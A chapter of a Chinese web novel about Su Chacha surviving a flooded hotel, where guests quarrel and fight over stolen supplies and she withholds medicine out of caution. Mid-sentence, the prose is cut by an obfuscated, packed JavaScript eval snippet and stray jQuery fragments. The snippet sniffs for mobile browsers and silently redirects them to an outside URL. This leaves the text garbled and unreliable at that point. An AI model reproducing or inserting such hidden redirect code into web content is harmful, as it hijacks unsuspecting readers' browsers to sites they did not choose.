苏茶茶中午的时候,是被一阵奇怪的窸窣声吵醒的。
她迷迷糊糊地翻了个身,脑子里还残留着半截梦的影子,梦里她站在一片荔枝树林里,树上挂满了红彤彤的果子,她伸手去摘,结果那些果子忽然张开了嘴,冲她喊“茶茶!茶茶!”,喊得她头皮发麻。
她睁开眼,视线在昏暗的天花板上定了一会儿,才慢慢清醒过来。
窗外的雨还在下,但声音比昨天小了一些,从那种砸得玻璃嗡嗡颤的狂暴,变成了一种温柔的沙沙声。天光透过窗帘缝隙渗进来,灰蒙蒙的,但比昨天早上亮了一些。
苏茶茶坐起来揉了揉眼睛,第一件事就是掀开被子去看角落里的荔枝树。
她拉开桌布一角的时候,整个人愣了一瞬。
荔枝树比昨天高了大约半掌,枝干虽然还细,但明显挺拔了不少,树皮的颜色从浅褐变成了更深的棕褐色,摸上去的触感也硬朗了一些。
最明显的是叶子,昨天催生出来时那些嫩绿色的叶片还带着一层细细的绒毛,边缘微微卷着,像刚出生的婴儿攥紧的拳头。
今天那些叶子全都展开了,油亮亮的,叶脉清晰,像一把把小扇子撑在枝头,绿得透光。
苏茶茶蹲在花盆旁边看了好一会儿,伸手碰了碰最顶端那片最大的叶子,叶面滑溜溜的,带着一丝凉意,在她指尖蹭了两下。
她盯着那棵树看了半天,心里隐隐觉得有哪里不太一样,但一时间又说不上来到底是什么。
然后她注意到了。树干靠近土面的地方,有一小截微微凸起的弧形,像是树皮下有什么东西正在鼓起来,形状不太规则,有点像一根卷曲的藤蔓贴在里面。
她用手指轻轻按了按,硬硬的,不是树皮本身的纹理。
“……你该不会真的要长什么奇奇怪怪的东西出来吧?”苏茶茶嘟囔了一句,歪着头盯着那一截鼓包又看了几秒,决定暂时不管它。
反正树还在长,叶子绿得好看,说明营养液和她的异能至少没白费,至于长出来的是荔枝还是别的什么,到时候就知道了。
她站起来伸了个懒腰,去卫生间洗漱完之后从空间里摸出一盒自热米饭,撕开包装倒上水,等着它咕嘟咕嘟自己热好的间隙,又去窗边看了一眼外面的情况。
水面的高度似乎和昨天差不多,酒店底层的窗户已经完全看不见了,水面漫到了大约二楼天花板的位置,几盏路灯只露出顶端那一小截弯杆,像被水泡烂的植物茎秆。
远处的水面比昨天平静了一些,那些之前被水流卷着到处漂的碎木头和杂物少了,可能是因为水位不再快速上涨,那些东西已经被冲到了更远的地方或者被什么东西挡住了。
苏茶茶靠着窗框嚼了几口米饭,心里盘算着接下来的事,她手头的物资够撑十天绰绰有余,空间里的压缩饼干和速食面还剩下大半,瓶装水也够喝。
再加上她每天能催生一次食物,就算十天之后副本还没结束她也饿不死,但物资够用是一回事,她总不能十天都闷在房间里什么都不做。
她正想着要不要趁着雨势小了再出去划一圈船,走廊里忽然传来一阵急促的脚步声,紧接着是“咚咚咚”的砸门声,有人在拍她隔壁那间房的门,拍得很重,整面墙都跟着震。
苏茶茶端着饭盒的手顿了一下,把耳朵竖了起来。
“开门!我知道你在里面!”一个男人的声音,粗哑,带着气急败坏的喘,“你昨天拿了我三盒压缩饼干!那是我留给我家孩子的!你给我开门!”
隔壁的门没有动静。那个男人又砸了几下,声音更大了:“我他妈看见你拿了!走廊上有监控的你知不知道?你赖不掉的!”
仍然没有回应,苏茶茶听见那男人在门外骂骂咧咧地踱了两步,然后又折回来,用拳头擂了一拳门板,发出一声闷响。然后脚步声远了,朝着楼梯口的方向去了。
苏茶茶端着饭盒站了一会儿,把嘴里的饭嚼完了咽下去。昨天酒店管理层的物资发放引发过一场争执,看来那只是开胃菜。
今天已经开始有人互相指责偷东西了,在这种环境下,物资只会越来越紧俏,而人的信任会像沙漏里的沙子一样,一粒一粒地漏光。
她刚坐下来继续吃,楼下忽然传来一阵更剧烈的声响,这次不是砸门了,是有人在吼,隔着几层楼板听不太真切,但语气里的火药味比刚才那个男人重得多。
然后她听见了一声脆响,玻璃碎掉的声音,紧接着是女人的尖叫。
苏茶茶放下饭盒走到门口,把门开了一条缝,走廊里空荡荡的,没有人。她又把门多开了一些,探出半个身子往走廊两端看了看,没有动静。
但楼梯口的方向确实有声音传上来,嘈杂的、混着争吵和劝架的人声,像是什么事正在快速发酵。
她犹豫了两秒,把门关上反锁好,快步走到窗边往楼下看。这个角度看不到酒店正门,但能看见酒店侧翼的一条小巷。
巷口的水面上漂着几块碎玻璃,反着灰白的天光,然后她看见几个人从酒店侧门跑了出来,其中一个捂着额头,血从指缝里往下淌,另一个在后面追,手里攥着一个空酒瓶。
两个人一前一后地踩进没过脚踝的积水里,溅起一大片水花。
“你他妈把东西还我!”追人的那个喊了一声,手里的酒瓶扬了起来。
“老子没拿你的东西!你疯了是吧!”
两个人就在巷口的水里扭打起来,水花四溅,旁边有人喊“别打了”“快拉开”,但没什么人真的上前。
苏茶茶站在窗边看了一会儿,看见那个追人的男人被对方一推,脚下一滑栽进了水里,爬起来的时候脸上全是泥水,酒瓶也脱手砸碎了。打人的那个趁着这空档转身跑了,几步就拐进了巷子深处。
追人的那个男人从水里站起来,浑身湿透了,血水和泥水混在脸上分不清哪是哪。
他站在那儿喘了好一会
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17683272|207710||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
儿,抬头左右看了看,然后忽然从口袋里摸出一样东西,苏茶茶隔着雨幕看不太清楚,但从那形状来看,像是一台老式的通讯器。
他对着通讯器说了什么,然后站在原地等。雨丝打在他身上,他没有躲,就那么站着,望着巷口的方向。
过了大约五分钟,通讯器那边没有回音。他又对着喊了一嗓子,嗓门比刚才更大,带着一种压不住的焦灼。然后他挂断了,把通讯器塞回口袋,低着头深一脚浅一脚地走回了酒店侧门。
苏茶茶放下了窗帘。她靠着窗框站了一会儿,脑子里把那幅画面过了两遍。那台通讯器她在入住酒店的时候见过,前台旁边的墙上挂着一个说明牌,“紧急呼叫器,按下可联通本地警局及应急救援中心”。
前天还有人拿那个东西试过,当时的回应是“线路繁忙,请稍后再拨”,但至少还转接了人工台。刚才那个男人对着通讯器说了话之后等了五分钟,从头到尾没有任何人回应。
她把这件事在心里存了个疑,又坐回床边把那盒饭吃完。外面的雨声渐渐又密了起来,从沙沙声重新变回了哗哗声,砸在玻璃上带着一种沉闷的力道。
苏茶茶把空饭盒收进空间里的垃圾袋,又去阳台上站了一会儿。天色比早上暗了一层,云层压得更低了,像一块巨大的灰色海绵悬在头顶。
中午的时候她听见走廊里重新热闹起来。有人在走廊里来回走动,脚步声又急又重,有人敲了好几扇门,喊“谁有药”“我老婆发烧了”“谁有退烧药求求了”。
苏茶茶没有开门,她把门反锁着,靠在门板上听外面的动静。
被敲门的房间大部分都没有回应。偶尔有一两扇门开了条缝,说了几句什么又迅速关上了。那个求药的人从走廊这头走到那头,声音从一开始的哀求渐渐变得沙哑疲惫,最后慢慢消失了。
苏茶茶退回床边,从空间里摸出一瓶退烧药翻了翻又放了回去。她不是不想帮忙,但她不敢开这个头。
上一场副本里她不过是给了别人一点药,就被人记恨上带了人来砸她的门,这种环境里,善意露得太早就是把自己的软肋递到别人面前。她得先保住自己,才能谈别的。
下午三点左右,楼下传来一声尖锐的鸣响。那声音和普通喇叭不太一样,更短促、更高亢,像是某种警报装置被人触发了。
苏茶茶从床边站起来走到窗边往下看,但什么都看不到,角度不够。她又走到门口把耳朵贴在门板上听了一会儿,走廊里有脚步声响起来,有人从房间里跑出来,在走廊里喊“怎么了怎么了”。
“好像是九楼有人在砸消防柜……警报响了。”有人回应。
“消防柜里有什么好砸的?”
“灭火器呗,那玩意也能卖钱啊。”
对话声渐渐远了,苏茶茶背靠着门板站了一会儿,听着外面那些脚步声和说话声交织在一起,像某种嗡嗡的白噪音,她发现自己的心跳比平时快了一些。